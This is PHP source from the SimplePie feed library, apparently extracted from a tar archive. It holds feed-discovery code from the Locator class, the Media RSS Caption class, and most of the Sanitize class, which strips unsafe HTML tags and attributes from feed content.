        $feeds = array_merge($feeds, $this->search_elements_by_tag('area', $done, $feeds));

        if (!empty($feeds)) {
            return array_values($feeds);
        }

        return null;
    }

    /**
     * @param string[] $done
     * @param array<string, Response> $feeds
     * @return array<string, Response>
     */
    protected function search_elements_by_tag(string $name, array &$done, array $feeds)
    {
        assert($this->registry !== null);

        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }

        $links = $this->dom->getElementsByTagName($name);
        foreach ($links as $link) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if ($link->hasAttribute('href') && $link->hasAttribute('rel')) {
                $rel = array_unique($this->registry->call(Misc::class, 'space_separated_tokens', [strtolower($link->getAttribute('rel'))]));
                $line = method_exists($link, 'getLineNo') ? $link->getLineNo() : 1;

                if ($this->base_location < $line) {
                    $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
                } else {
                    $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
                }
                if ($href === false) {
                    continue;
                }

                if (!in_array($href, $done) && in_array('feed', $rel) || (in_array('alternate', $rel) && !in_array('stylesheet', $rel) && $link->hasAttribute('type') && in_array(strtolower($this->registry->call(Misc::class, 'parse_mime', [$link->getAttribute('type')])), ['text/html', 'application/rss+xml', 'application/atom+xml'])) && !isset($feeds[$href])) {
                    $this->checked_feeds++;
                    $headers = [
                        'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                    ];

                    try {
                        $feed = $this->get_http_client()->request(Client::METHOD_GET, $href, $headers);

                        if ((!Misc::is_remote_uri($feed->get_final_requested_uri()) || ($feed->get_status_code() === 200 || $feed->get_status_code() > 206 && $feed->get_status_code() < 300)) && $this->is_feed($feed, true)) {
                            $feeds[$href] = $feed;
                        }
                    } catch (ClientException $th) {
                        // Just mark it as done and continue.
                    }
                }
                $done[] = $href;
            }
        }

        return $feeds;
    }

    /**
     * @return true|null
     */
    public function get_links()
    {
        assert($this->registry !== null);

        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use locator');
        }

        $links = $this->dom->getElementsByTagName('a');
        foreach ($links as $link) {
            if ($link->hasAttribute('href')) {
                $href = trim($link->getAttribute('href'));
                $parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
                if ($parsed['scheme'] === '' || preg_match('/^(https?|feed)?$/i', $parsed['scheme'])) {
                    if (method_exists($link, 'getLineNo') && $this->base_location < $link->getLineNo()) {
                        $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->base]);
                    } else {
                        $href = $this->registry->call(Misc::class, 'absolutize_url', [trim($link->getAttribute('href')), $this->http_base]);
                    }
                    if ($href === false) {
                        continue;
                    }

                    $current = $this->registry->call(Misc::class, 'parse_url', [$this->file->get_final_requested_uri()]);

                    if ($parsed['authority'] === '' || $parsed['authority'] === $current['authority']) {
                        $this->local[] = $href;
                    } else {
                        $this->elsewhere[] = $href;
                    }
                }
            }
        }
        $this->local = array_unique($this->local);
        $this->elsewhere = array_unique($this->elsewhere);
        if (!empty($this->local) || !empty($this->elsewhere)) {
            return true;
        }
        return null;
    }

    /**
     * Extracts first `link` element with given `rel` attribute inside the `head` element.
     *
     * @return string|null
     */
    public function get_rel_link(string $rel)
    {
        assert($this->registry !== null);

        if ($this->dom === null) {
            throw new \SimplePie\Exception('DOMDocument not found, unable to use '.
                                          'locator');
        }
        if (!class_exists('DOMXpath')) {
            throw new \SimplePie\Exception('DOMXpath not found, unable to use '.
                                          'get_rel_link');
        }

        $xpath = new \DOMXpath($this->dom);
        $query = '(//head)[1]/link[@rel and @href]';
        /** @var \DOMNodeList<\DOMElement> */
        $queryResult = $xpath->query($query);
        foreach ($queryResult as $link) {
            $href = trim($link->getAttribute('href'));
            $parsed = $this->registry->call(Misc::class, 'parse_url', [$href]);
            if ($parsed['scheme'] === '' ||
                preg_match('/^https?$/i', $parsed['scheme'])) {
                if (method_exists($link, 'getLineNo') &&
                    $this->base_location < $link->getLineNo()) {
                    $href = $this->registry->call(
                        Misc::class,
                        'absolutize_url',
                        [trim($link->getAttribute('href')), $this->base]
                    );
                } else {
                    $href = $this->registry->call(
                        Misc::class,
                        'absolutize_url',
                        [trim($link->getAttribute('href')), $this->http_base]
                    );
                }
                if ($href === false) {
                    return null;
                }
                $rel_values = explode(' ', strtolower($link->getAttribute('rel')));
                if (in_array($rel, $rel_values)) {
                    return $href;
                }
            }
        }

        return null;
    }

    /**
     * @param string[] $array
     * @return array<Response>|null
     */
    public function extension(array &$array)
    {
        foreach ($array as $key => $value) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            $extension = strrchr($value, '.');
            if ($extension !== false && in_array(strtolower($extension), ['.rss', '.rdf', '.atom', '.xml'])) {
                $this->checked_feeds++;

                $headers = [
                    'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                ];

                try {
                    $feed = $this->get_http_client()->request(Client::METHOD_GET, $value, $headers);

                    if ((!Misc::is_remote_uri($feed->get_final_requested_uri()) || ($feed->get_status_code() === 200 || $feed->get_status_code() > 206 && $feed->get_status_code() < 300)) && $this->is_feed($feed)) {
                        return [$feed];
                    }
                } catch (ClientException $th) {
                    // Just unset and continue.
                }

                unset($array[$key]);
            }
        }
        return null;
    }

    /**
     * @param string[] $array
     * @return array<Response>|null
     */
    public function body(array &$array)
    {
        foreach ($array as $key => $value) {
            if ($this->checked_feeds === $this->max_checked_feeds) {
                break;
            }
            if (preg_match('/(feed|rss|rdf|atom|xml)/i', $value)) {
                $this->checked_feeds++;
                $headers = [
                    'Accept' => SimplePie::DEFAULT_HTTP_ACCEPT_HEADER,
                ];

                try {
                    $feed = $this->get_http_client()->request(Client::METHOD_GET, $value, $headers);

                    if ((!Misc::is_remote_uri($feed->get_final_requested_uri()) || ($feed->get_status_code() === 200 || $feed->get_status_code() > 206 && $feed->get_status_code() < 300)) && $this->is_feed($feed)) {
                        return [$feed];
                    }
                } catch (ClientException $th) {
                    // Just unset and continue.
                }

                unset($array[$key]);
            }
        }
        return null;
    }

    /**
     * Get a HTTP client
     */
    private function get_http_client(): Client
    {
        assert($this->registry !== null);

        if ($this->http_client === null) {
            $options = [
                'timeout' => $this->timeout,
                'redirects' => 5,
                'force_fsockopen' => $this->force_fsockopen,
                'curl_options' => $this->curl_options,
            ];

            if ($this->useragent !== null) {
                $options['useragent'] = $this->useragent;
            }

            return new FileClient(
                $this->registry,
                $options
            );
        }

        return $this->http_client;
    }
}

class_alias('SimplePie\Locator', 'SimplePie_Locator', false);
Caption.php000064400000006033152222652070006657 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

/**
 * Handles `<media:text>` captions as defined in Media RSS.
 *
 * Used by {@see \SimplePie\Enclosure::get_caption()} and {@see \SimplePie\Enclosure::get_captions()}
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_caption_class()}
 */
class Caption
{
    /**
     * Content type
     *
     * @var ?string
     * @see get_type()
     */
    public $type;

    /**
     * Language
     *
     * @var ?string
     * @see get_language()
     */
    public $lang;

    /**
     * Start time
     *
     * @var ?string
     * @see get_starttime()
     */
    public $startTime;

    /**
     * End time
     *
     * @var ?string
     * @see get_endtime()
     */
    public $endTime;

    /**
     * Caption text
     *
     * @var ?string
     * @see get_text()
     */
    public $text;

    /**
     * Constructor, used to input the data
     *
     * For documentation on all the parameters, see the corresponding
     * properties and their accessors
     */
    public function __construct(
        ?string $type = null,
        ?string $lang = null,
        ?string $startTime = null,
        ?string $endTime = null,
        ?string $text = null
    ) {
        $this->type = $type;
        $this->lang = $lang;
        $this->startTime = $startTime;
        $this->endTime = $endTime;
        $this->text = $text;
    }

    /**
     * String-ified version
     *
     * @return string
     */
    public function __toString()
    {
        // There is no $this->data here
        return md5(serialize($this));
    }

    /**
     * Get the end time
     *
     * @return string|null Time in the format 'hh:mm:ss.SSS'
     */
    public function get_endtime()
    {
        if ($this->endTime !== null) {
            return $this->endTime;
        }

        return null;
    }

    /**
     * Get the language
     *
     * @link http://tools.ietf.org/html/rfc3066
     * @return string|null Language code as per RFC 3066
     */
    public function get_language()
    {
        if ($this->lang !== null) {
            return $this->lang;
        }

        return null;
    }

    /**
     * Get the start time
     *
     * @return string|null Time in the format 'hh:mm:ss.SSS'
     */
    public function get_starttime()
    {
        if ($this->startTime !== null) {
            return $this->startTime;
        }

        return null;
    }

    /**
     * Get the text of the caption
     *
     * @return string|null
     */
    public function get_text()
    {
        if ($this->text !== null) {
            return $this->text;
        }

        return null;
    }

    /**
     * Get the content type (not MIME type)
     *
     * @return string|null Either 'text' or 'html'
     */
    public function get_type()
    {
        if ($this->type !== null) {
            return $this->type;
        }

        return null;
    }
}

class_alias('SimplePie\Caption', 'SimplePie_Caption');
Sanitize.php000064400000073221152222652070007053 0ustar00<?php

// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause

declare(strict_types=1);

namespace SimplePie;

use DOMDocument;
use DOMXPath;
use InvalidArgumentException;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;
use SimplePie\HTTP\Client;
use SimplePie\HTTP\ClientException;
use SimplePie\HTTP\FileClient;
use SimplePie\HTTP\Psr18Client;

/**
 * Used for data cleanup and post-processing
 *
 *
 * This class can be overloaded with {@see \SimplePie\SimplePie::set_sanitize_class()}
 *
 * @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
 */
class Sanitize implements RegistryAware
{
    // Private vars
    /** @var string */
    public $base = '';

    // Options
    /** @var bool */
    public $remove_div = true;
    /** @var string */
    public $image_handler = '';
    /** @var string[] */
    public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];
    /** @var bool */
    public $encode_instead_of_strip = false;
    /** @var string[] */
    public $strip_attributes = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];
    /** @var string[] */
    public $rename_attributes = [];
    /** @var array<string, array<string, string>> */
    public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];
    /** @var bool */
    public $strip_comments = false;
    /** @var string */
    public $output_encoding = 'UTF-8';
    /** @var bool */
    public $enable_cache = true;
    /** @var string */
    public $cache_location = './cache';
    /** @var string&(callable(string): string) */
    public $cache_name_function = 'md5';

    /**
     * @var NameFilter
     */
    private $cache_namefilter;
    /** @var int */
    public $timeout = 10;
    /** @var string */
    public $useragent = '';
    /** @var bool */
    public $force_fsockopen = false;
    /** @var array<string, string|string[]> */
    public $replace_url_attributes = [];
    /**
     * @var array<int, mixed> Custom curl options
     * @see SimplePie::set_curl_options()
     */
    private $curl_options = [];

    /** @var Registry */
    public $registry;

    /**
     * @var DataCache|null
     */
    private $cache = null;

    /**
     * @var int Cache duration (in seconds)
     */
    private $cache_duration = 3600;

    /**
     * List of domains for which to force HTTPS.
     * @see \SimplePie\Sanitize::set_https_domains()
     * Array is a tree split at DNS levels. Example:
     * array('biz' => true, 'com' => array('example' => true), 'net' => array('example' => array('www' => true)))
     * @var true|array<string, true|array<string, true|array<string, array<string, true|array<string, true|array<string, true>>>>>>
     */
    public $https_domains = [];

    /**
     * @var Client|null
     */
    private $http_client = null;

    public function __construct()
    {
        // Set defaults
        $this->set_url_replacements(null);
    }

    /**
     * @return void
     */
    public function remove_div(bool $enable = true)
    {
        $this->remove_div = (bool) $enable;
    }

    /**
     * @param string|false $page
     * @return void
     */
    public function set_image_handler($page = false)
    {
        if ($page) {
            $this->image_handler = (string) $page;
        } else {
            $this->image_handler = '';
        }
    }

    /**
     * @return void
     */
    public function set_registry(\SimplePie\Registry $registry)
    {
        $this->registry = $registry;
    }

    /**
     * @param (string&(callable(string): string))|NameFilter $cache_name_function
     * @param class-string<Cache> $cache_class
     * @return void
     */
    public function pass_cache_data(bool $enable_cache = true, string $cache_location = './cache', $cache_name_function = 'md5', string $cache_class = Cache::class, ?DataCache $cache = null)
    {
        $this->enable_cache = $enable_cache;

        if ($cache_location) {
            $this->cache_location = $cache_location;
        }

        // @phpstan-ignore-next-line Enforce PHPDoc type.
        if (!is_string($cache_name_function) && !$cache_name_function instanceof NameFilter) {
            throw new InvalidArgumentException(sprintf(
                '%s(): Argument #3 ($cache_name_function) must be of type %s',
                __METHOD__,
                NameFilter::class
            ), 1);
        }

        // BC: $cache_name_function could be a callable as string
        if (is_string($cache_name_function)) {
            // trigger_error(sprintf('Providing $cache_name_function as string in "%s()" is deprecated since SimplePie 1.8.0, provide as "%s" instead.', __METHOD__, NameFilter::class), \E_USER_DEPRECATED);
            $this->cache_name_function = $cache_name_function;

            $cache_name_function = new CallableNameFilter($cache_name_function);
        }

        $this->cache_namefilter = $cache_name_function;

        if ($cache !== null) {
            $this->cache = $cache;
        }
    }

    /**
     * Set a PSR-18 client and PSR-17 factories
     *
     * Allows you to use your own HTTP client implementations.
     */
    final public function set_http_client(
        ClientInterface $http_client,
        RequestFactoryInterface $request_factory,
        UriFactoryInterface $uri_factory
    ): void {
        $this->http_client = new Psr18Client($http_client, $request_factory, $uri_factory);
    }

    /**
     * @deprecated since SimplePie 1.9.0, use \SimplePie\Sanitize::set_http_client() instead.
     * @param class-string<File> $file_class
     * @param array<int, mixed> $curl_options
     * @return void
     */
    public function pass_file_data(string $file_class = File::class, int $timeout = 10, string $useragent = '', bool $force_fsockopen = false, array $curl_options = [])
    {
        // trigger_error(sprintf('SimplePie\Sanitize::pass_file_data() is deprecated since SimplePie 1.9.0, please use "SimplePie\Sanitize::set_http_client()" instead.'), \E_USER_DEPRECATED);
        if ($timeout) {
            $this->timeout = $timeout;
        }

        if ($useragent) {
            $this->useragent = $useragent;
        }

        if ($force_fsockopen) {
            $this->force_fsockopen = $force_fsockopen;
        }

        $this->curl_options = $curl_options;
        // Invalidate the registered client.
        $this->http_client = null;
    }

    /**
     * @param string[]|string|false $tags Set a list of tags to strip, or set empty string to use default tags, or false to strip nothing.
     * @return void
     */
    public function strip_htmltags($tags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'])
    {
        if ($tags) {
            if (is_array($tags)) {
                $this->strip_htmltags = $tags;
            } else {
                $this->strip_htmltags = explode(',', $tags);
            }
        } else {
            $this->strip_htmltags = [];
        }
    }

    /**
     * @return void
     */
    public function encode_instead_of_strip(bool $encode = false)
    {
        $this->encode_instead_of_strip = $encode;
    }

    /**
     * @param string[]|string $attribs
     * @return void
     */
    public function rename_attributes($attribs = [])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->rename_attributes = $attribs;
            } else {
                $this->rename_attributes = explode(',', $attribs);
            }
        } else {
            $this->rename_attributes = [];
        }
    }

    /**
     * @param string[]|string $attribs
     * @return void
     */
    public function strip_attributes($attribs = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'])
    {
        if ($attribs) {
            if (is_array($attribs)) {
                $this->strip_attributes = $attribs;
            } else {
                $this->strip_attributes = explode(',', $attribs);
            }
        } else {
            $this->strip_attributes = [];
        }
    }

    /**
     * @param array<string, array<string, string>> $attribs
     * @return void
     */
    public function add_attributes(array $attribs = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']])
    {
        $this->add_attributes = $attribs;
    }

    /**
     * @return void
     */
    public function strip_comments(bool $strip = false)
    {
        $this->strip_comments = $strip;
    }

    /**
     * @return void
     */
    public function set_output_encoding(string $encoding = 'UTF-8')
    {
        $this->output_encoding = $encoding;
    }

    /**
     * Set element/attribute key/value pairs of HTML attributes
     * containing URLs that need to be resolved relative to the feed
     *
     * Defaults to |a|@href, |area|@href, |audio|@src, |blockquote|@cite,
     * |del|@cite, |form|@action, |img|@longdesc, |img|@src, |input|@src,
     * |ins|@cite, |q|@cite, |source|@src, |video|@src
     *
     * @since 1.0
     * @param array<string, string|string[]>|null $element_attribute Element/attribute key/value pairs, null for default
     * @return void
     */
    public function set_url_replacements(?array $element_attribute = null)
    {
        if ($element_attribute === null) {
            $element_attribute = [
                'a' => 'href',
                'area' => 'href',
                'audio' => 'src',
                'blockquote' => 'cite',
                'del' => 'cite',
                'form' => 'action',
                'img' => [
                    'longdesc',
                    'src'
                ],
                'input' => 'src',
                'ins' => 'cite',
                'q' => 'cite',
                'source' => 'src',
                'video' => [
                    'poster',
                    'src'
                ]
            ];
        }
        $this->replace_url_attributes = $element_attribute;
    }

    /**
     * Set the list of domains for which to force HTTPS.
     * @see \SimplePie\Misc::https_url()
     * Example array('biz', 'example.com', 'example.org', 'www.example.net');
     *
     * @param string[] $domains list of domain names ['biz', 'example.com', 'example.org', 'www.example.net']
     *
     * @return void
     */
    public function set_https_domains(array $domains)
    {
        $this->https_domains = [];
        foreach ($domains as $domain) {
            $domain = trim($domain, ". \t\n\r\0\x0B");
            $segments = array_reverse(explode('.', $domain));
            /** @var true|array<string, true|array<string, true|array<string, array<string, true|array<string, true|array<string, true>>>>>> */ // Needed for PHPStan.
            $node = &$this->https_domains;
            foreach ($segments as $segment) {//Build a tree
                if ($node === true) {
                    break;
                }
                if (!isset($node[$segment])) {
                    $node[$segment] = [];
                }
                $node = &$node[$segment];
            }
            $node = true;
        }
    }

    /**
     * Check if the domain is in the list of forced HTTPS.
     *
     * @return bool
     */
    protected function is_https_domain(string $domain)
    {
        $domain = trim($domain, '. ');
        $segments = array_reverse(explode('.', $domain));
        $node = &$this->https_domains;
        foreach ($segments as $segment) {//Explore the tree
            if (isset($node[$segment])) {
                $node = &$node[$segment];
            } else {
                break;
            }
        }
        return $node === true;
    }

    /**
     * Force HTTPS for selected Web sites.
     *
     * @return string
     */
    public function https_url(string $url)
    {
        return (
            strtolower(substr($url, 0, 7)) === 'http://'
            && ($parsed = parse_url($url, PHP_URL_HOST)) !== false // Malformed URL
            && $parsed !== null // Missing host
            && $this->is_https_domain($parsed) // Should be forced?
        ) ? substr_replace($url, 's', 4, 0) // Add the 's' to HTTPS
        : $url;
    }

    /**
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @param string $base
     * @return string Sanitized data; false if output encoding is changed to something other than UTF-8 and conversion fails
     */
    public function sanitize(string $data, int $type, string $base = '')
    {
        $data = trim($data);
        if ($data !== '' || $type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
            if ($type & \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML) {
                if (preg_match('/(&(#(x[0-9a-fA-F]+|[0-9]+)|[a-zA-Z0-9]+)|<\/[A-Za-z][^\x09\x0A\x0B\x0C\x0D\x20\x2F\x3E]*' . \SimplePie\SimplePie::PCRE_HTML_ATTRIBUTE . '>)/', $data)) {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_HTML;
                } else {
                    $type |= \SimplePie\SimplePie::CONSTRUCT_TEXT;
                }
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_BASE64) {
                $data = base64_decode($data);
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_HTML | \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                if (!class_exists('DOMDocument')) {
                    throw new \SimplePie\Exception('DOMDocument not found, unable to use sanitizer');
                }
                $document = new \DOMDocument();
                $document->encoding = 'UTF-8';

                // PHPStan seems to have trouble resolving int-mask because bitwise
                // operators are used when operators are used when passing this parameter.
                // https://github.com/phpstan/phpstan/issues/9384
                /** @var int-mask-of<SimplePie::CONSTRUCT_*> $type */
                $data = $this->preprocess($data, $type);

                set_error_handler([Misc::class, 'silence_errors']);
                $document->loadHTML($data);
                restore_error_handler();

                $xpath = new \DOMXPath($document);

                // Strip comments
                if ($this->strip_comments) {
                    /** @var \DOMNodeList<\DOMComment> */
                    $comments = $xpath->query('//comment()');

                    foreach ($comments as $comment) {
                        $parentNode = $comment->parentNode;
                        assert($parentNode !== null, 'For PHPStan, comment must have a parent');
                        $parentNode->removeChild($comment);
                    }
                }

                // Strip out HTML tags and attributes that might cause various security problems.
                // Based on recommendations by Mark Pilgrim at:
                // https://web.archive.org/web/20110902041826/http://diveintomark.org:80/archives/2003/06/12/how_to_consume_rss_safely
                if ($this->strip_htmltags) {
                    foreach ($this->strip_htmltags as $tag) {
                        $this->strip_tag($tag, $document, $xpath, $type);
                    }
                }

                if ($this->rename_attributes) {
                    foreach ($this->rename_attributes as $attrib) {
                        $this->rename_attr($attrib, $xpath);
                    }
                }

                if ($this->strip_attributes) {
                    foreach ($this->strip_attributes as $attrib) {
                        $this->strip_attr($attrib, $xpath);
                    }
                }

                if ($this->add_attributes) {
                    foreach ($this->add_attributes as $tag => $valuePairs) {
                        $this->add_attr($tag, $valuePairs, $document);
                    }
                }

                // Replace relative URLs
                $this->base = $base;
                foreach ($this->replace_url_attributes as $element => $attributes) {
                    $this->replace_urls($document, $element, $attributes);
                }

                // If image handling (caching, etc.) is enabled, cache and rewrite all the image tags.
                if ($this->image_handler !== '' && $this->enable_cache) {
                    $images = $document->getElementsByTagName('img');

                    foreach ($images as $img) {
                        if ($img->hasAttribute('src')) {
                            $image_url = $this->cache_namefilter->filter($img->getAttribute('src'));
                            $cache = $this->get_cache($image_url);

                            if ($cache->get_data($image_url, false)) {
                                $img->setAttribute('src', $this->image_handler . $image_url);
                            } else {
                                try {
                                    $file = $this->get_http_client()->request(
                                        Client::METHOD_GET,
                                        $img->getAttribute('src'),
                                        ['X-FORWARDED-FOR' => $_SERVER['REMOTE_ADDR']]
                                    );
                                } catch (ClientException $th) {
                                    continue;
                                }

                                if ((!Misc::is_remote_uri($file->get_final_requested_uri()) || ($file->get_status_code() === 200 || $file->get_status_code() > 206 && $file->get_status_code() < 300))) {
                                    if ($cache->set_data($image_url, ['headers' => $file->get_headers(), 'body' => $file->get_body_content()], $this->cache_duration)) {
                                        $img->setAttribute('src', $this->image_handler . $image_url);
                                    } else {
                                        trigger_error("$this->cache_location is not writable. Make sure you've set the correct relative or absolute path, and that the location is server-writable.", E_USER_WARNING);
                                    }
                                }
                            }
                        }
                    }
                }

                // Get content node
                $div = null;
                if (($item = $document->getElementsByTagName('body')->item(0)) !== null) {
                    $div = $item->firstChild;
                }
                // Finally, convert to a HTML string
                $data = trim((string) $document->saveHTML($div));

                if ($this->remove_div) {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '', $data);
                    // Cast for PHPStan, it is unable to validate a non-literal regex above.
                    $data = preg_replace('/<\/div>$/', '', (string) $data);
                } else {
                    $data = preg_replace('/^<div' . \SimplePie\SimplePie::PCRE_XML_ATTRIBUTE . '>/', '<div>', $data);
                }

                // Cast for PHPStan, it is unable to validate a non-literal regex above.
                $data = str_replace('</source>', '', (string) $data);
            }

            if ($type & \SimplePie\SimplePie::CONSTRUCT_IRI) {
                $absolute = $this->registry->call(Misc::class, 'absolutize_url', [$data, $base]);
                if ($absolute !== false) {
                    $data = $absolute;
                }
            }

            if ($type & (\SimplePie\SimplePie::CONSTRUCT_TEXT | \SimplePie\SimplePie::CONSTRUCT_IRI)) {
                $data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
            }

            if ($this->output_encoding !== 'UTF-8') {
                // This really returns string|false but changing encoding is uncommon and we are going to deprecate it, so let’s just lie to PHPStan in the interest of cleaner annotations.
                /** @var string */
                $data = $this->registry->call(Misc::class, 'change_encoding', [$data, 'UTF-8', $this->output_encoding]);
            }
        }
        return $data;
    }

    /**
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @return string
     */
    protected function preprocess(string $html, int $type)
    {
        $ret = '';
        $html = preg_replace('%</?(?:html|body)[^>]*?'.'>%is', '', $html);
        if ($type & ~\SimplePie\SimplePie::CONSTRUCT_XHTML) {
            // Atom XHTML constructs are wrapped with a div by default
            // Note: No protection if $html contains a stray </div>!
            $html = '<div>' . $html . '</div>';
            $ret .= '<!DOCTYPE html>';
            $content_type = 'text/html';
        } else {
            $ret .= '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">';
            $content_type = 'application/xhtml+xml';
        }

        $ret .= '<html><head>';
        $ret .= '<meta http-equiv="Content-Type" content="' . $content_type . '; charset=utf-8" />';
        $ret .= '</head><body>' . $html . '</body></html>';
        return $ret;
    }

    /**
     * @param array<string>|string $attributes
     * @return void
     */
    public function replace_urls(DOMDocument $document, string $tag, $attributes)
    {
        if (!is_array($attributes)) {
            $attributes = [$attributes];
        }

        if (!is_array($this->strip_htmltags) || !in_array($tag, $this->strip_htmltags)) {
            $elements = $document->getElementsByTagName($tag);
            foreach ($elements as $element) {
                foreach ($attributes as $attribute) {
                    if ($element->hasAttribute($attribute)) {
                        $value = $this->registry->call(Misc::class, 'absolutize_url', [$element->getAttribute($attribute), $this->base]);
                        if ($value !== false) {
                            $value = $this->https_url($value);
                            $element->setAttribute($attribute, $value);
                        }
                    }
                }
            }
        }
    }

    /**
     * @param array<int, string> $match
     * @return string
     */
    public function do_strip_htmltags(array $match)
    {
        if ($this->encode_instead_of_strip) {
            if (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
                $match[1] = htmlspecialchars($match[1], ENT_COMPAT, 'UTF-8');
                $match[2] = htmlspecialchars($match[2], ENT_COMPAT, 'UTF-8');
                return "&lt;$match[1]$match[2]&gt;$match[3]&lt;/$match[1]&gt;";
            } else {
                return htmlspecialchars($match[0], ENT_COMPAT, 'UTF-8');
            }
        } elseif (isset($match[4]) && !in_array(strtolower($match[1]), ['script', 'style'])) {
            return $match[4];
        } else {
            return '';
        }
    }

    /**
     * @param int-mask-of<SimplePie::CONSTRUCT_*> $type
     * @return void
     */
    protected function strip_tag(string $tag, DOMDocument $document, DOMXPath $xpath, int $type)
    {
        $elements = $xpath->query('body//' . $tag);

        if ($elements === false) {
            throw new \SimplePie\Exception(sprintf(
                '%s(): Possibly malformed expression, check argument #1 ($tag)',
                __METHOD__
            ), 1);
        }

        if ($this->encode_instead_of_strip) {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();

                // For elements which aren't script or style, include the tag itself
                if (!in_array($tag, ['script', 'style'])) {
                    $text = '<' . $tag;
                    if ($element->attributes !== null) {
                        $attrs = [];
                        foreach ($element->attributes as $name => $attr) {
                            $value = $attr->value;

                            // In XHTML, empty values should never exist, so we repeat the value
                            if (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_XHTML)) {
                                $value = $name;
                            }
                            // For HTML, empty is fine
                            elseif (empty($value) && ($type & \SimplePie\SimplePie::CONSTRUCT_HTML)) {
                                $attrs[] = $name;
                                continue;
                            }

                            // Standard attribute text
                            $attrs[] = $name . '="' . $attr->value . '"';
                        }
                        $text .= ' ' . implode(' ', $attrs);
                    }
                    $text .= '>';
                    $fragment->appendChild(new \DOMText($text));
                }

                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    if (($child = $element->childNodes->item(0)) !== null) {
                        $fragment->appendChild($child);
                    }
                }

                if (!in_array($tag, ['script', 'style'])) {
                    $fragment->appendChild(new \DOMText('</' . $tag . '>'));
                }

                if (($parentNode = $element->parentNode) !== null) {
                    $parentNode->replaceChild($fragment, $element);
                }
            }

            return;
        } elseif (in_array($tag, ['script', 'style'])) {
            foreach ($elements as $element) {
                if (($parentNode = $element->parentNode) !== null) {
                    $parentNode->removeChild($element);
                }
            }

            return;
        } else {
            foreach ($elements as $element) {
                $fragment = $document->createDocumentFragment();
                $number = $element->childNodes->length;
                for ($i = $number; $i > 0; $i--) {
                    if (($child = $element->childNodes->item(0)) !== null) {
                        $fragment->appendChild($child);
                    }
                }

                if (($parentNode = $element->parentNode) !== null) {
                    $parentNode->replaceChild($fragment, $element);
                }
            }
        }
    }

    /**
     * @return void
     */
    protected function strip_attr(string $attrib, DOMXPath $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        if ($elements === false) {
            throw new \SimplePie\Exception(sprintf(
                '%s(): Possibly malformed expression, check argument #1 ($attrib)',
                __METHOD__
            ), 1);
        }

        /** @var \DOMElement $element */
        foreach ($elements as $element) {
            $element->removeAttribute($attrib);
        }
    }

    /**
     * @return void
     */
    protected function rename_attr(string $attrib, DOMXPath $xpath)
    {
        $elements = $xpath->query('//*[@' . $attrib . ']');

        if ($elements === false) {
            throw new \SimplePie\Exception(sprintf(
                '%s(): Possibly malformed expression, check argument #1 ($attrib)',
                __METHOD__
            ), 1);
        }

        /** @var \DOMElement $element */
        foreach ($elements as $element) {
            $element->setAttribute('data-sanitized-' . $attrib, $element->getAttribute($attrib));
            $element->removeAttribute($attrib);
        }
    }

    /**
     * @param array<string, string> $valuePairs
     * @return void
     */
    protected function add_attr(string $tag, array $valuePairs, DOMDocument $document)
    {
        $elements = $document->getElementsByTagName($tag);
